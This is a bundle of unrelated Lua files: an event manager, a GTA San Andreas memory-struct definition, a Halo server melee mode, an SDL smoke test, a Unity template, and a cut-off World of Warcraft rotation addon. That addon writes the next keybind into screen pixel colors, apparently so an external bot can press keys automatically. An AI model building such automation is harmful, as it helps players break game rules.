{vkey = 0x4d, frame = {x=334.00, y=202.00, width=40.00, height=40.00}, caption="M"};
{vkey = 0xbc, frame = {x=374.00, y=202.00, width=40.00, height=40.00}, caption=","};
{vkey = 0xbe, frame = {x=414.00, y=202.00, width=40.00, height=40.00}, caption="."};
{vkey = 0xbf, frame = {x=454.00, y=202.00, width=40.00, height=40.00}, caption="/"};
{vkey = 0xa1, frame = {x=494.00, y=202.00, width=110.00, height=40.00}, caption="Shift"};
{vkey = 0xa2, frame = {x=4.00, y=242.00, width=50.00, height=40.00}, caption="Ctrl"};
{vkey = 0x5b, frame = {x=54.00, y=242.00, width=50.00, height=40.00}, caption="Win"};
{vkey = 0x12, frame = {x=104.00, y=242.00, width=50.00, height=40.00}, caption="Alt"};
{vkey = 0x20, frame = {x=154.00, y=242.00, width=250.00, height=40.00}, caption="Space"};
{vkey = 0x12, frame = {x=404.00, y=242.00, width=50.00, height=40.00}, caption="Alt"};
{vkey = 0x5c, frame = {x=454.00, y=242.00, width=50.00, height=40.00}, caption="Win"};
{vkey = 0xa5, frame = {x=504.00, y=242.00, width=50.00, height=40.00}, caption="Menu"};
{vkey = 0xa3, frame = {x=554.00, y=242.00, width=50.00, height=40.00}, caption="Ctrl"};
}
|
---
--- ColaFramework框架事件管理中心
---
local EventMgr = Class("EventMgr")
local bit = require "bit"
--实例对象
local _instance = nil
-- 获取单例接口
function EventMgr:Instance()
if _instance == nil then
_instance = EventMgr:new()
end
return _instance
end
-- override 初始化各种数据
function EventMgr:initialize()
--观察者列表
self._listeners = {}
self.testTable = { 1, 2, 3, 4 }
end
function EventMgr:RegisterEvent(moduleId, eventId, func)
local key = bit.lshift(moduleId, 16) + eventId
self:AddEventListener(key, func, nil)
end
function EventMgr:UnRegisterEvent(moduleId, eventId, func)
local key = bit.lshift(moduleId, 16) + eventId
self:RemoveEventListener(key, func)
end
function EventMgr:DispatchEvent(moduleId, eventId, param)
local key = bit.lshift(moduleId, 16) + eventId
local listeners = self._listeners[key]
if nil == listeners then
return
end
for _, v in ipairs(listeners) do
if v.p then
v.f(v.p, param)
else
v.f(param)
end
end
end
function EventMgr:AddEventListener(eventId, func, param)
local listeners = self._listeners[eventId]
-- 获取key对应的监听者列表,结构为{func,para},如果没有就新建
if listeners == nil then
listeners = {}
self._listeners[eventId] = listeners -- 保存监听者
end
--过滤掉已经注册过的消息,防止重复注册
for _, v in pairs(listeners) do
if (v and v.f == func) then
return
end
end
--if func == nil then
-- print("func is nil!")
--end
--加入监听者的回调和参数
table.insert(listeners, { f = func, p = param })
end
function EventMgr:RemoveEventListener(eventId, func)
local listeners = self._listeners[eventId]
if nil == listeners then
return
end
for k, v in pairs(listeners) do
if (v and v.f == func) then
table.remove(listeners, k)
return
end
end
end
return EventMgr
|
--[[
Project: SA Memory (Available from https://blast.hk/)
Developers: LUCHARE, FYP
Special thanks:
plugin-sdk (https://github.com/DK22Pac/plugin-sdk) for the structures and addresses.
Copyright (c) 2018 BlastHack.
]]
local shared = require 'SAMemory.shared'
shared.require 'eCamMode'
shared.require 'CVehicle'
shared.require 'CPed'
shared.require 'vector3d'
shared.ffi.cdef[[
typedef struct CCam
{
bool bBelowMinDist;
bool bBehindPlayerDesired;
bool bCamLookingAtVector;
bool bCollisionChecksOn;
bool bFixingBeta;
bool bTheHeightFixerVehicleIsATrain;
bool bLookBehindCamWasInFront;
bool bLookingBehind;
bool bLookingLeft;
bool bLookingRight;
bool bResetStatics;
bool bRotating;
eCamMode nMode;
unsigned int nFinishTime;
unsigned int nDoCollisionChecksOnFrameNum;
unsigned int nDoCollisionCheckEveryNumOfFrames;
unsigned int nFrameNumWereAt;
unsigned int nRunningVectorArrayPos;
unsigned int nRunningVectorCounter;
unsigned int nDirectionWasLooking;
float fMaxRoleAngle;
float fRoll;
float fRollSpeed;
float fSyphonModeTargetZOffSet;
float fAmountFractionObscured;
float fAlphaSpeedOverOneFrame;
float fBetaSpeedOverOneFrame;
float fBufferedTargetBeta;
float fBufferedTargetOrientation;
float fBufferedTargetOrientationSpeed;
float fCamBufferedHeight;
float fCamBufferedHeightSpeed;
float fCloseInPedHeightOffset;
float fCloseInPedHeightOffsetSpeed;
float fCloseInCarHeightOffset;
float fCloseInCarHeightOffsetSpeed;
float fDimensionOfHighestNearCar;
float fDistanceBeforeChanges;
float fFovSpeedOverOneFrame;
float fMinDistAwayFromCamWhenInterPolating;
float fPedBetweenCameraHeightOffset;
float fPlayerInFrontSyphonAngleOffSet;
float fRadiusForDead;
float fRealGroundDist;
float fTargetBeta;
float fTimeElapsedFloat;
float fTilt;
float fTiltSpeed;
float fTransitionBeta;
float fTrueBeta;
float fTrueAlpha;
float fInitialPlayerOrientation;
float fVerticalAngle;
float fAlphaSpeed;
float fFOV;
float fFOVSpeed;
float fHorizontalAngle;
float fBetaSpeed;
float fDistance;
float fDistanceSpeed;
float fCaMinDistance;
float fCaMaxDistance;
float fSpeedVar;
float fCameraHeightMultiplier;
float fTargetZoomGroundOne;
float fTargetZoomGroundTwo;
float fTargetZoomGroundThree;
float fTargetZoomOneZExtra;
float fTargetZoomTwoZExtra;
float fTargetZoomTwoInteriorZExtra;
float fTargetZoomThreeZExtra;
float fTargetZoomZCloseIn;
float fMinRealGroundDist;
float fTargetCloseInDist;
float fBeta_Targeting;
float fX_Targetting;
float fY_Targetting;
CVehicle *pCarWeAreFocussingOn;
CVehicle *pCarWeAreFocussingOnI;
float fCamBumpedHorz;
float fCamBumpedVert;
unsigned int nCamBumpedTime;
vector3d vecSourceSpeedOverOneFrame;
vector3d vecTargetSpeedOverOneFrame;
vector3d vecUpOverOneFrame;
vector3d vecTargetCoorsForFudgeInter;
vector3d vecCamFixedModeVector;
vector3d vecCamFixedModeSource;
vector3d vecCamFixedModeUpOffSet;
vector3d vecLastAboveWaterCamPosition;
vector3d vecBufferedPlayerBodyOffset;
vector3d vecFront;
vector3d vecSource;
vector3d vecSourceBeforeLookBehind;
vector3d vecUp;
vector3d avecPreviousVectors[2];
vector3d avecTargetHistoryPos[4];
unsigned int anTargetHistoryTime[4];
unsigned int nCurrentHistoryPoints;
CEntity *pCamTargetEntity;
float fCameraDistance;
float fIdealAlpha;
float fPlayerVelocity;
CVehicle *pLastCarEntered;
CPed *pLastPedLookedAt;
bool bFirstPersonRunAboutActive;
} CCam;
]]
shared.validate_size('CCam', 0x238)
|
return
{
["id"]=10010,
["name"]="寻路测试",
["groupName"]="Demo测试关卡",
["playStartAnimation"]=true,
["sceneName"]="Demo03.unity",
["sceneFile"]="Assets/Scenes/Demo03.unity",
["desc"]="",
["borns"]={
[1]={
["uid"]="22898b4549bc4acdb8e7222442c3d893",
["transform"]=
{
["id"]=0,
["name"]="",
["position"]={["x"]=22.4,["y"]=-1.005228,["z"]=27.11,},
["scale"]={["x"]=1,["y"]=1,["z"]=1,},
["rotation"]={["x"]=0,["y"]=270,["z"]=0,},
["size"]={["x"]=1,["y"]=1,["z"]=1,},
}
},
},
["props"]={
},
["triggers"]={
[1]={
["id"]=3001,
["enable"]=true,
["unlimited"]=true,
["desc"]="",
["loopTimes"]=1,
["reachConditionNum"]=0,
["excuteNum"]=0,
["triggerExecutType"]=2,
["triggerNodes"]={
[1]={
["id"]="1c5fb30b528242bf9dadfb7cec09a59d",
["Type"]="Start",
["enable"]=true,
["time"]=0,
},
},
["conditionNodes"]={
},
["executeNodes"]={
[1]={
["id"]="0474a099b97f451e86b8bb475c46acc8",
["Type"]="ActorEnter",
["enable"]=true,
},
}},
},
}
|
function data()
return {
info = {
minorVersion = 1,
severityAdd = "NONE",
severityRemove = "NONE",
name = _("City roads with 0 height sidewalks"),
description = _("City roads with 0 height sidewalks"),
tags = { "street", "road"},
visible = true,
authors = {
{
name = "NFS Moscow Melbourne",
role = "Creator",
},
},
},
}
end
|
--[[
--=====================================================================================================--
Script Name: Melee, for SAPP (PC & CE)
Description: Custom Melee game
Copyright (c) 2016-2020, Jericho Crosby <jericho.crosby227@gmail.com>
* Notice: You can use this document subject to the following conditions:
https://github.com/Chalwk77/HALO-SCRIPT-PROJECTS/blob/master/LICENSE
--=====================================================================================================--
]]--
api_version = "1.12.0.0"
local Melee = {
-- Configuration [starts] >> ----------
scorelimit = 50,
-- Melee Object (weapon index from objects table)"
weapon = 12,
objects = {
-- false = prevent spawning | true = allow spawning
[1] = { "eqip", "powerups\\health pack", true },
[2] = { "eqip", "powerups\\over shield", true },
[3] = { "eqip", "powerups\\active camouflage", true },
[4] = { "eqip", "weapons\\frag grenade\\frag grenade", false },
[5] = { "eqip", "weapons\\plasma grenade\\plasma grenade", false },
[6] = { "vehi", "vehicles\\ghost\\ghost_mp", false },
[7] = { "vehi", "vehicles\\rwarthog\\rwarthog", false },
[8] = { "vehi", "vehicles\\banshee\\banshee_mp", false },
[9] = { "vehi", "vehicles\\warthog\\mp_warthog", false },
[10] = { "vehi", "vehicles\\scorpion\\scorpion_mp", false },
[11] = { "vehi", "vehicles\\c gun turret\\c gun turret_mp", false },
[12] = { "weap", "weapons\\ball\\ball", true }, -- DO NOT DISABLE if this is the melee object.
[13] = { "weap", "weapons\\flag\\flag", false },
[14] = { "weap", "weapons\\pistol\\pistol", false },
[15] = { "weap", "weapons\\shotgun\\shotgun", false },
[16] = { "weap", "weapons\\needler\\mp_needler", false },
[17] = { "weap", "weapons\\flamethrower\\flamethrower", false },
[18] = { "weap", "weapons\\plasma rifle\\plasma rifle", false },
[19] = { "weap", "weapons\\sniper rifle\\sniper rifle", false },
[20] = { "weap", "weapons\\plasma pistol\\plasma pistol", false },
[21] = { "weap", "weapons\\plasma_cannon\\plasma_cannon", false },
[22] = { "weap", "weapons\\assault rifle\\assault rifle", false },
[23] = { "weap", "weapons\\rocket launcher\\rocket launcher", false }
},
-- Configuration [ends] << ----------
-- DO NOT TOUCH --
players = { }
--
}
function OnScriptLoad()
register_callback(cb['EVENT_GAME_START'], "OnGameStart")
OnGameStart()
end
function OnScriptUnload()
-- N/A
end
function OnGameStart()
if (get_var(0, "$gt") ~= "n/a") then
if (get_var(0, "$ffa") ~= "0") then
register_callback(cb['EVENT_TICK'], "OnTick")
register_callback(cb['EVENT_DIE'], "OnPlayerDeath")
register_callback(cb['EVENT_SPAWN'], "OnPlayerSpawn")
register_callback(cb['EVENT_JOIN'], "OnPlayerConnect")
register_callback(cb['EVENT_LEAVE'], "OnPlayerDisconnect")
register_callback(cb['EVENT_WEAPON_DROP'], "OnWeaponDrop")
register_callback(cb['EVENT_OBJECT_SPAWN'], "OnObjectSpawn")
execute_command("disable_all_vehicles 0 1")
execute_command("scorelimit " .. Melee.scorelimit)
for i = 1, 16 do
if player_present(i) then
Melee:CleanUpDrones(i, false)
Melee:InitPlayer(i, false)
end
end
else
unregister_callback(cb['EVENT_DIE'])
unregister_callback(cb['EVENT_TICK'])
unregister_callback(cb['EVENT_JOIN'])
unregister_callback(cb['EVENT_LEAVE'])
unregister_callback(cb['EVENT_SPAWN'])
unregister_callback(cb['EVENT_WEAPON_DROP'])
unregister_callback(cb['EVENT_OBJECT_SPAWN'])
end
end
end
function OnPlayerConnect(Ply)
Melee:InitPlayer(Ply, false)
end
function OnPlayerDisconnect(Ply)
Melee:InitPlayer(Ply, true)
end
function Melee:InitPlayer(Ply, Reset)
if (not Reset) then
self.players[Ply] = { assign = false, drones = {} }
else
self:CleanUpDrones(Ply, false)
end
end
function Melee:OnTick()
for i, v in pairs(self.players) do
if player_present(i) and player_alive(i) then
if (v.assign) then
v.assign = false
execute_command("nades " .. i .. " 0")
execute_command("wdel " .. i)
local DyN = get_dynamic_player(i)
if (DyN ~= 0) then
local x, y, z = read_vector3d(DyN + 0x5C)
local weapon = spawn_object("weap", self.objects[self.weapon][2], x, y, z)
assign_weapon(weapon, i)
table.insert(v.drones, weapon)
end
end
end
end
end
function OnPlayerSpawn(Ply)
Melee.players[Ply].assign = true
end
function OnPlayerDeath(Victim)
local DyN = get_dynamic_player(Victim)
local WeaponID = read_dword(DyN + 0x118)
if (WeaponID ~= 0) then
for j = 0, 3 do
destroy_object(read_dword(DyN + 0x2F8 + j * 4))
end
end
end
function Melee:CleanUpDrones(Ply, Assign)
for _, weapon in pairs(self.players[Ply].drones) do
if (weapon) then
destroy_object(weapon)
end
end
if (Assign) then
self.players[Ply].assign = true
else
self.players[Ply] = nil
end
end
function OnWeaponDrop(Ply)
Melee:CleanUpDrones(Ply, true)
end
local function GetTag(obj_type, obj_name)
local tag = lookup_tag(obj_type, obj_name)
return tag ~= 0 and read_dword(tag + 0xC) or nil
end
function OnObjectSpawn(_, MapID, _, _)
for _, v in pairs(Melee.objects) do
if (MapID == GetTag(v[1], v[2])) and (not v[3]) then
return false
end
end
end
function OnTick()
return Melee:OnTick()
end
|
---------------------------------------------------------------------------------------------------
-- User story: Smoke
-- Use case: RegisterAppInterface
-- Item: Happy path
--
-- Requirement summary:
-- [RegisterAppInterface] SUCCESS: getting SUCCESS:RegisterAppInterface() during reregistration
--
-- Description:
-- Mobile application sends valid RegisterAppInterface request after unregistration and
-- gets RegisterAppInterface "SUCCESS" response from SDL
-- Pre-conditions:
-- a. HMI and SDL are started
-- b. appID is registered and activated on SDL
-- c. appID is currently in Background, Full or Limited HMI level
-- Steps:
-- appID requests RegisterAppInterface
-- Expected:
-- SDL checks if RegisterAppInterface is allowed by Policies
-- SDL sends the BasicCommunication notification to HMI
-- SDL responds with (resultCode: SUCCESS, success:true) to mobile application
---------------------------------------------------------------------------------------------------
--[[ Required Shared libraries ]]
local runner = require('user_modules/script_runner')
local commonSmoke = require('test_scripts/Smoke/commonSmoke')
--[[ Local Variables ]]
local requestParams = {
syncMsgVersion = {
majorVersion = 2,
minorVersion = 2,
},
appName = "SyncProxyTester",
ttsName = {
{
text ="SyncProxyTester",
type ="TEXT",
},
},
ngnMediaScreenAppName = "SPT",
vrSynonyms = {
"VRSyncProxyTester",
},
isMediaApplication = true,
languageDesired = "EN-US",
hmiDisplayLanguageDesired = "EN-US",
appHMIType = {
"DEFAULT",
},
appID = "123",
fullAppID = "123456",
deviceInfo = {
hardware = "hardware",
firmwareRev = "firmwareRev",
os = "os",
osVersion = "osVersion",
carrier = "carrier",
maxNumberRFCOMMPorts = 5
}
}
local function SetNotificationParams()
local notificationParams = {
application = {}
}
notificationParams.application.appName = requestParams.appName
notificationParams.application.ngnMediaScreenAppName = requestParams.ngnMediaScreenAppName
notificationParams.application.isMediaApplication = requestParams.isMediaApplication
notificationParams.application.hmiDisplayLanguageDesired = requestParams.hmiDisplayLanguageDesired
notificationParams.application.appType = requestParams.appHMIType
notificationParams.application.deviceInfo = {
name = commonSmoke.getDeviceName(),
id = commonSmoke.getDeviceMAC(),
transportType = "WIFI",
isSDLAllowed = true
}
notificationParams.application.policyAppID = requestParams.fullAppID
notificationParams.ttsName = requestParams.ttsName
notificationParams.vrSynonyms = requestParams.vrSynonyms
return notificationParams
end
--[[ Local Functions ]]
local function unregisterAppInterface(self)
local cid = self.mobileSession1:SendRPC("UnregisterAppInterface", { })
EXPECT_HMINOTIFICATION("BasicCommunication.OnAppUnregistered",
{ appID = commonSmoke.getHMIAppId(), unexpectedDisconnect = false })
self.mobileSession1:ExpectResponse(cid, { success = true, resultCode = "SUCCESS" })
end
local function RegisterAppInterface(self)
local CorIdRAI = self.mobileSession1:SendRPC("RegisterAppInterface", requestParams)
local notificationParams = SetNotificationParams()
EXPECT_HMINOTIFICATION("BasicCommunication.OnAppRegistered", notificationParams)
self.mobileSession1:ExpectResponse(CorIdRAI, { success = true, resultCode = "SUCCESS" })
self.mobileSession1:ExpectNotification("OnHMIStatus",
{ hmiLevel = "NONE", audioStreamingState = "NOT_AUDIBLE", systemContext = "MAIN" })
self.mobileSession1:ExpectNotification("OnPermissionsChange")
end
--[[ Scenario ]]
runner.Title("Preconditions")
runner.Step("Clean environment", commonSmoke.preconditions)
runner.Step("Start SDL, HMI, connect Mobile, start Session", commonSmoke.start)
runner.Step("RAI", commonSmoke.registerApp)
runner.Step("Activate App", commonSmoke.activateApp)
runner.Step("UnregisterAppInterface Positive Case", unregisterAppInterface)
runner.Title("Test")
runner.Step("RegisterAppInterface Positive Case", RegisterAppInterface)
runner.Title("Postconditions")
runner.Step("Stop SDL", commonSmoke.postconditions)
|
--
-- $(Class) class.
--
-- @filename $(Class).lua
-- @copyright Copyright (c) 2015 Yaukey/yaukeywang/WangYaoqi (yaukeywang@gmail.com) all rights reserved.
-- @license The MIT License (MIT)
-- @author Yaukey yaukeywang@gmail.com
-- @date 2016-xx-xx
--
local DLog = YwDebug.Log
local DLogWarn = YwDebug.LogWarning
local DLogError = YwDebug.LogError
-- Register new class $(Class).
local strClassName = "$(Class)"
local $(Class) = YwDeclare(strClassName, YwClass(strClassName, YwMonoBehaviour))
-- Member variables.
-- Constructor.
function $(Class):ctor()
--print("$(Class):ctor")
end
-- Destructor.
function $(Class):dtor()
--print("$(Class):dtor")
end
-- Awake method.
function $(Class):Awake()
--print("$(Class):Awake")
-- Check variable.
if (not self.this) or (not self.transform) or (not self.gameObject) then
DLogError("Init error in $(Class)!")
return
end
end
-- Start method.
function $(Class):Start()
--print("$(Class):Start")
end
-- Update method.
function $(Class):Update()
--print("$(Class):Update")
end
-- Late update method.
function $(Class):LateUpdate()
--print("$(Class):LateUpdate")
end
-- Fixed update method.
function $(Class):FixedUpdate()
--print("$(Class):FixedUpdate")
end
-- Lite update method.
function $(Class):LiteUpdate()
--print("$(Class):LiteUpdate")
end
-- On destroy method.
function $(Class):OnDestroy()
--print("$(Class):OnDestroy")
end
-- Return this class.
return $(Class)
|
render = function(delta)
return 0
end
|
dna = LibStub("AceAddon-3.0"):NewAddon("dna","AceConsole-3.0","AceEvent-3.0","AceTimer-3.0","AceComm-3.0","AceHook-3.0")
dna.lib_acegui = LibStub("AceGUI-3.0")
--dna.LibSimcraftParser = LibStub("LibSimcraftParser")
dna.D = {} -- General data table to hold stuff
dna.ui = {} -- UI table
dna.ElvUI = nil
local L = LibStub("AceLocale-3.0"):GetLocale("dna")
local addon = ...
BINDING_HEADER_dna = GetAddOnMetadata(..., "Title");
if ( ElvUI ) then
local EP = LibStub("LibElvUIPlugin-1.0")
dna.ElvUI = unpack(ElvUI);
dna.D.ElvUI = dna.ElvUI:NewModule('dna')
dna.ElvUI:RegisterModule(dna.D.ElvUI:GetName())
dna.D.ElvUI.Initialize = function()
LibStub("LibElvUIPlugin-1.0"):RegisterPlugin(addon, dna.D.ElvUI.AddOptionMenu)
end
end
function dna:ProcessSlashCommand(commandargs)
if (dna.IsBlank(commandargs)) then
if ( dna.ui.fMain and dna.ui.fMain:IsShown() ) then
dna.ui.fMain:Hide()
else
dna.ui.CreateMainFrame()
end
elseif (commandargs=="debug") then
dna:CreateDebugFrame()
elseif (commandargs=="help") then
print( L["common/help"] )
else
dna.ui.SelectRotation(commandargs, false)
end
end
function dna:OnInitialize()
local tDefaults = {
global = {
treeMain = {
{
value = "dna.CreateOptionsPanel()",
text = L["maintree/options"],
icon = "Interface\\Icons\\INV_Misc_Gear_01",
},
{
value = "dna.CreateListsPanel()",
text = L["maintree/lists"],
icon = "Interface\\Icons\\TRADE_ARCHAEOLOGY_HIGHBORNE_SCROLL",
children = {},
},
{
value = "dna.CreateRotationsPanel()",
text = L["maintree/rotations"],
icon = "Interface\\PaperDollInfoFrame\\UI-GearManager-Undo",
children = {},
},
},
},
}
dna.DB = LibStub("AceDB-3.0"):New("dna_ace_db", tDefaults )
dna.DB:RegisterDefaults( tDefaults )
end
function dna:OnEnable()
-- Initialize data
dna.D.Prefix = 'dna' --Addon communications channel prefix
dna.D.Specs = {} --Specializations
dna.D.SpellInfo = {} --Table to hold information about spells ex: ticktimes, traveltimes, base duration
dna.D.PlayerCastHistory = {} --Table to hold player casted spell names
dna.D.PetCastHistory = {} --Table to hold pet casted spell names
-- dna.D.tExternalFrames = {} --Table of external frames to find keybindings
dna.D.tAsciiKeyBits = {} --Table of ascii key bits
dna.D.ImportType = nil --The type of import rotation or actionpack
dna.D.ImportVersion = nil --The version the import was created in
dna.D.ImportName = nil --Name of the import could be rotation / action pack
dna.D.ImportIndex = nil --The index of the action pack table insert
-- dna.D.DamageTakenIndex = 1 --The index of dna.D.P["DAMAGE_TAKEN"]
-- dna.D.DamageTakenMaxHits = 100 --Maximum number of dna.D.P["DAMAGE_TAKEN"] hits to track
dna.D.DebugTimerStart = debugprofilestop() --Initialize debug timer
-- dna.D.nLastSpecSwitchTime = 0
dna.D.damageInLast5Seconds = 0
dna.D.damageAmounts = {}
dna.D.damageTimestamps = {}
dna.D.UpdateMode = 0 --0=create new names for existing objects do not update
--1=update existing objects
--3=Abort updates if objects already exist + do not create if object does not exist
dna.D.GCDTime = 1.5
dna.D.PClass = select(2, UnitClass("player") )
--Save the tree keys for short syntax lookup, we may chose to add more menus to the main tree later on
dna.D.OTK = dna:SearchTable(dna.DB.global.treeMain, "value", "dna.CreateOptionsPanel()") --Options Tree Key
dna.D.OTM = dna.DB.global.treeMain[dna.D.OTK] --Options Tree main
if not dna.D.OTM[dna.D.PClass] then dna.D.OTM[dna.D.PClass] = {} end
dna.D.LTK = dna:SearchTable(dna.DB.global.treeMain, "value", "dna.CreateListsPanel()") --Lists Tree Key
dna.D.LTM = dna.DB.global.treeMain[dna.D.LTK] --Lists tree main
dna.D.LTMC = dna.DB.global.treeMain[dna.D.LTK].children --Lists tree main children
dna.D.RTK = dna:SearchTable(dna.DB.global.treeMain, "value", "dna.CreateRotationsPanel()") --Rotations Tree Key
dna.D.RTM = dna.DB.global.treeMain[dna.D.RTK] --Rotations tree main
dna.D.RTMC = dna.DB.global.treeMain[dna.D.RTK].children --Rotations tree main children
-- Clear out NPC spells every reload so it doesnt get too big
local nListKey = select(2, dna.AddList("NPC_INTERRUPTABLE", false, false))
tremove(dna.D.LTMC, nListKey)
nListKey = select(2, dna.AddList("NPC_OTHER", false, false))
tremove(dna.D.LTMC, nListKey)
dna.D.P={} --Custom player tracked data for use in criteria
dna.D.ResetDebugTimer=function()
dna.D.DebugTimerStart = debugprofilestop()
end
dna.D.GetDebugTimerElapsed=function(minElapsed)
local lReturn = ( debugprofilestop()-dna.D.DebugTimerStart )
if ( lReturn > ( minElapsed or 0 ) ) then
-- print(format(" E: %f ms:", elapsedTime)..tostring(suffix) )
else
lReturn = 0
end
return lReturn
end
dna.D.RunCode=function( code, lseprefix, pcalleprefix, ShowLSErrors, ShowPCErrors )
--lseprefix = loadstring error print message prefix
--lsegui = loadstring error gui message
--pcalleprefix = pcall error prefix
local func, errorMessage = loadstring(code)
if( not func ) then
if ( ShowLSErrors ) then
print( lseprefix..errorMessage )
if ( dna.ui.fMain and dna.ui.fMain:IsShown() ) then dna.ui.fMain:SetStatusText( lseprefix..errorMessage ) end
end
return 1
end
success, errorMessage = pcall(func); -- Call the function we loaded
if( not success ) then
if ( ShowPCErrors ) then print(pcalleprefix..errorMessage) end
return 1
end
return 0
end
dna.D.Threads = {}
dna.D.binds = {}
dna.D.visibleNameplates = {}
dna.D.DebuffExclusions = { -- Ignore these debbuffs for debuff type checking
[GetSpellInfo(15822)] = true, -- Dreamless Sleep
[GetSpellInfo(24360)] = true, -- Greater Dreamless Sleep
[GetSpellInfo(28504)] = true, -- Major Dreamless Sleep
[GetSpellInfo(24306)] = true, -- Delusions of Jin'do
[GetSpellInfo(46543)] = true, -- Ignite Mana
[GetSpellInfo(16567)] = true, -- Tainted Mind
[GetSpellInfo(39052)] = true, -- Sonic Burst
[GetSpellInfo(30129)] = true, -- Charred Earth - Nightbane debuff, can't be cleansed, but shows as magic
[GetSpellInfo(31651)] = true, -- Banshee Curse, Melee hit rating debuff
[GetSpellInfo(124275)] = true, -- Light Stagger, cant be cured
}
dna.D.InitCriteriaClassTree() -- Initialize the class criteria and default rotations
if ( dna.IsBlank(dna.D.OTM[dna.D.PClass].selectedrotation) ) then
self:SetRotationForCurrentSpec() -- Select the rotation that matches the current specialization or talentgroup
else
dna.ui.SelectRotation(dna.D.OTM[dna.D.PClass].selectedrotation, false) -- Select the last loaded rotation
end
-- dna.fSetTopLevelFrame=function(frmName)
-- frmName:SetToplevel(true)
-- frmName:SetFrameLevel(300)
-- frmName:SetFrameLevel(300)
-- frmName:SetFrameLevel(300)
-- end
-- Create debug frames
for nIndex=0,5 do
dna["frmPixel"..nIndex] = CreateFrame("Frame","dna.frmPixel"..nIndex,UIParent)
dna["frmPixel"..nIndex]:ClearAllPoints()
dna["frmPixel"..nIndex]:SetPoint("TOPLEFT",0,(0-nIndex))
dna["frmPixel"..nIndex]:SetFrameStrata("TOOLTIP")
dna["frmPixel"..nIndex]:SetWidth(1)
dna["frmPixel"..nIndex]:SetHeight(1)
dna["frmPixel"..nIndex]:SetToplevel(true)
dna["frmPixel"..nIndex]:SetFrameLevel(128)
dna["frmPixel"..nIndex]:Show()
dna["txrPixel"..nIndex] = dna["frmPixel"..nIndex]:CreateTexture(dna["txrPixel"..nIndex], 'OVERLAY')
dna["txrPixel"..nIndex]:ClearAllPoints()
dna["txrPixel"..nIndex]:SetAllPoints(dna["frmPixel"..nIndex])
dna["txrPixel"..nIndex]:SetColorTexture(0,0,0,1)
end
dna.frmRunning = CreateFrame("Frame","dna.frmRunning",UIParent);
dna.frmRunning:ClearAllPoints();
dna.frmRunning:SetPoint("CENTER", UIParent, "CENTER")
dna.frmRunning:SetFrameStrata("TOOLTIP")
dna.frmRunning:SetWidth(32);
dna.frmRunning:SetHeight(32);
dna.frmRunning:SetToplevel(true)
dna.frmRunning:SetFrameLevel(128)
dna.frmRunning:EnableMouse(false)
dna.frmRunning:Show()
dna.frmRunning:SetAlpha(1)
dna.txrRunning = dna.frmRunning:CreateTexture('dna.txrRunning', 'OVERLAY')
dna.txrRunning:ClearAllPoints()
dna.txrRunning:SetAllPoints(dna.frmRunning)
dna.txrRunning:SetWidth(32);
dna.txrRunning:SetHeight(32);
dna.txrRunning:SetTexture([[Interface\RAIDFRAME\ReadyCheck-Ready]])
-- Highest keybind text
dna.fsHighestKeybind = dna.frmRunning:CreateFontString("dna.fsHighestKeybind", 'BACKGROUND')
dna.fsHighestKeybind:ClearAllPoints()
dna.fsHighestKeybind:SetPoint("CENTER", dna.frmRunning, "CENTER", 0, -40)
dna.fsHighestKeybind:SetFont("Fonts\\FRIZQT__.TTF", 14)
dna.fsHighestKeybind:SetSize(17, 17)
dna.fsHighestKeybind:SetShadowOffset(2,-2)
dna.fsHighestKeybind:SetTextColor(1, 1, 1, 1)
-- Out of range texts
dna.fsMeleeRange = dna.frmRunning:CreateFontString("dna.fsMeleeRange", 'BACKGROUND')
dna.fsMeleeRange:ClearAllPoints()
dna.fsMeleeRange:SetPoint("BOTTOMLEFT", dna.frmRunning, "BOTTOMLEFT", -16, 0);
dna.fsMeleeRange:SetFont("Fonts\\FRIZQT__.TTF", 14)
dna.fsMeleeRange:SetSize(17, 17)
dna.fsMeleeRange:SetShadowOffset(2,-2)
dna.fsMeleeRange:SetTextColor(1, 0, 0, 1)
dna.fsRange = dna.frmRunning:CreateFontString("dna.fsRange", 'BACKGROUND')
dna.fsRange:ClearAllPoints()
dna.fsRange:SetPoint("BOTTOMLEFT", dna.frmRunning, "BOTTOMLEFT", -16, 16);
dna.fsRange:SetFont("Fonts\\FRIZQT__.TTF", 14)
dna.fsRange:SetSize(17, 17)
dna.fsRange:SetShadowOffset(2,-2)
dna.fsRange:SetTextColor(1, 0, 0, 1)
dna.fSetPixelColors=function()
key1, key2 = GetBindingKey("dna Toggle")
if (not key1) then
for nIndex=0,5 do
dna["frmPixel"..nIndex]:Hide()
end
return
else
for nIndex=0,5 do
dna["frmPixel"..nIndex]:Show()
end
end
-- Convert the strPassingActionKeyBind from the engine into a numeric ASCII code
if dna.IsBlank(dna.strPassingActionKeyBind) then
dna.nPassingActionASCII = 0
else
for nASCII=33,127 do
if string.char(nASCII) == string.lower(dna.strPassingActionKeyBind) then
dna.nPassingActionASCII = nASCII
break
end
end
end
if dna.D.OTM[dna.D.PClass].bShowHighestKeybind then
dna.fsHighestKeybind:SetText(dna.strPassingActionKeyBind)
else
dna.fsHighestKeybind:SetText("")
end
if dna.nPassingActionASCII ~= dna.D.nLastPassingActionASCII then
dna.D.nLastPassingActionASCII = dna.nPassingActionASCII
end
-- Set Addon Black texture 0
dna.txrPixel0:SetColorTexture(0, 0, 0, 1)
-- Set Buffer texture 1
dna.txrPixel1:SetColorTexture(0, 0, 0, 1)
-- Set ASCII texture 2
dna.txrPixel2:SetColorTexture((dna.nPassingActionASCII/255), 0, 0, 1)
-- Set Buffer texture 3
dna.txrPixel3:SetColorTexture(0, 0, 0, 1)
-- Set texture 4
if dna.nEnabled0Off1On == 1 then
dna.txrPixel4:SetColorTexture(1, 1, 1, 1) -- enabled
else
dna.txrPixel4:SetColorTexture(0, 0, 0, 1) -- disabled
end
-- Set Buffer texture 5
dna.txrPixel5:SetColorTexture(0, 0, 0, 1)
-- The engine can fire before the frame is created so ensure frame is created
if not dna.frmRunning then return end
-- Show or hide the green checkmark enabled texture
if dna.nEnabled0Off1On == 1 then
dna.txrRunning:SetAlpha(1) -- Show green checkmark
else
dna.txrRunning:SetAlpha(0) -- Hide green checkmark
end
-- set the fsMeleeRange text
local meleeRangeText = ""
if ( dna.D.RTMC[dna.nSelectedRotationTableIndex]
and dna.IsBlank(dna.D.RTMC[dna.nSelectedRotationTableIndex].meleespell) == false
and UnitExists("target")
) then
-- User has input for spell to check
local spellInRange = dna.GetSpellInRangeOfUnit( dna.D.RTMC[dna.nSelectedRotationTableIndex].meleespell, "target")
local itemInRange = dna.GetItemInRangeOfUnit( dna.D.RTMC[dna.nSelectedRotationTableIndex].meleespell, "target")
if ( spellInRange or itemInRange ) then
meleeRangeText = ""
